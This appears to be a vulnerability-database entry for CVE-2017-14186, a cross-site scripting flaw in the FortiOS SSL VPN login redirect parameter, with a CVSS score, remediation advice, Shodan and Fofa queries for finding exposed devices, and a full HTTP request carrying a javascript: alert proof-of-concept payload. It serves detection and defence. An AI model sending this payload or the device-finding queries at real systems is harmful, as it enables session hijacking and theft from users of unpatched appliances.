🔙 목록으로 돌아가기

CVE-2017-14186: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting

TitleFortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
Authorjohnk3r
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.
RemediationApply the latest security patches or firmware updates provided by Fortinet to mitigate this vulnerability.
CVSS Score5.4
EPSS Score0.04051
CVE IDCVE-2017-14186
CWE IDCWE-79
Shodan Queryport:10443 http.favicon.hash:945408572http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios"http.html:"/remote/login" "xxxxxxxx"
Fofa Querybody="/remote/login" "xxxxxxxx"icon_hash=945408572
Tags cve2017 cve fortigate xss fortinet vuln

🔍 Vulnerability Description

FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.

🌐 HTTP Request

GET /remote/loginredir?redir=javascript:alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-14186.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-14186.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A